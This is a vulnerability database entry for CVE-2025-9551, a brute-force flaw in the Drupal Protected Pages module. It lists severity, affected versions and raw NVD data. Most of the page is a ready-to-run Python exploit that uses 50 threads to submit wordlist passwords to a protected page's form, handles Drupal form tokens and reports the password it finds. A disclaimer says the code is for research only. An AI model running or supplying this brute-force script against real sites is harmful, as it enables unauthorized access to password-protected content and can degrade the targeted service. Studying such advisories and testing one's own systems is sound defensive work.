Security Vulnerability Report
中文
CVE-2025-9551 CVSS 6.5 MEDIUM

CVE-2025-9551

Published: 2025-10-10 23:15:37
Last Modified: 2026-03-26 22:16:27

Description

Improper Restriction of Excessive Authentication Attempts vulnerability in Drupal Protected Pages allows Brute Force.This issue affects Protected Pages: from 0.0.0 before 1.8.0, from 7.X-1.0 before 7.X-2.5.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:protected_pages_project:protected_pages:*:*:*:*:*:drupal:*:* - VULNERABLE
Drupal Protected Pages >= 0.0.0, < 1.8.0
Drupal Protected Pages 7.X-1.0 <= version < 7.X-2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9551 - Drupal Protected Pages Brute Force PoC # Vulnerability: Improper Restriction of Excessive Authentication Attempts # Affected: Drupal Protected Pages < 1.8.0, < 7.x-2.5 import requests import sys import time from concurrent.futures import ThreadPoolExecutor TARGET_URL = "http://target-drupal-site.com/node/123" # Protected page URL PROTECTED_PATH = "/protected-page" # Protected Pages form action path WORDLIST_FILE = "passwords.txt" THREADS = 50 TIMEOUT = 10 def attempt_login(session, password): """Attempt authentication with given password against Protected Pages module.""" try: # First, get the protected page to retrieve any CSRF token or form_build_id resp = session.get(TARGET_URL, timeout=TIMEOUT) # Extract form_build_id and form_token from the response (Drupal Form API) form_build_id = extract_form_build_id(resp.text) form_token = extract_form_token(resp.text) # Submit the password authentication form data = { "form_build_id": form_build_id, "form_token": form_token, "form_id": "protected_pages_enter_password", "password": password, "op": "Submit" } auth_resp = session.post( TARGET_URL, data=data, timeout=TIMEOUT, allow_redirects=False ) # Check if authentication was successful (redirect or content change) if auth_resp.status_code == 302 or "access granted" in auth_resp.text.lower(): return password return None except Exception as e: print(f"Error attempting password '{password}': {e}") return None def extract_form_build_id(html): """Extract Drupal form_build_id from HTML response.""" import re match = re.search(r'name="form_build_id"\s+value="([^"]+)"', html) return match.group(1) if match else "" def extract_form_token(html): """Extract Drupal form_token from HTML response.""" import re match = re.search(r'name="form_token"\s+value="([^"]+)"', html) return match.group(1) if match else "" def brute_force(): """Main brute force function exploiting CVE-2025-9551.""" print(f"[*] Starting brute force attack against {TARGET_URL}") print(f"[*] Using {THREADS} concurrent threads") try: with open(WORDLIST_FILE, 'r', encoding='utf-8', errors='ignore') as f: passwords = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"[!] Wordlist file '{WORDLIST_FILE}' not found.") sys.exit(1) print(f"[*] Loaded {len(passwords)} passwords from wordlist") start_time = time.time() found = None with ThreadPoolExecutor(max_workers=THREADS) as executor: futures = {} for pwd in passwords: session = requests.Session() future = executor.submit(attempt_login, session, pwd) futures[future] = pwd for future in futures: result = future.result() if result: found = result print(f"\n[+] PASSWORD FOUND: {result}") break elapsed = time.time() - start_time print(f"\n[*] Attack completed in {elapsed:.2f} seconds") if found: print(f"[+] Successful password: {found}") else: print("[-] No password found in wordlist") if __name__ == "__main__": brute_force()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9551", "sourceIdentifier": "[email protected]", "published": "2025-10-10T23:15:37.287", "lastModified": "2026-03-26T22:16:26.890", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Restriction of Excessive Authentication Attempts vulnerability in Drupal Protected Pages allows Brute Force.This issue affects Protected Pages: from 0.0.0 before 1.8.0, from 7.X-1.0 before 7.X-2.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:protected_pages_project:protected_pages:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "8.x-1.8", "matchCriteriaId": "97B8CFA8-2E25-4CC4-B77C-27AC69BA8881"}]}]}], "references": [{"url": "https://d7es.tag1.com/security-advisories/protected-pages-moderately-critical-access-bypass-sa-contrib-2025-101", "source": "[email protected]"}, {"url": "https://docs.herodevs.com/drupal/release-notes/protected-pages", "source": "[email protected]"}, {"url": "https://www.drupal.org/sa-contrib-2025-101", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}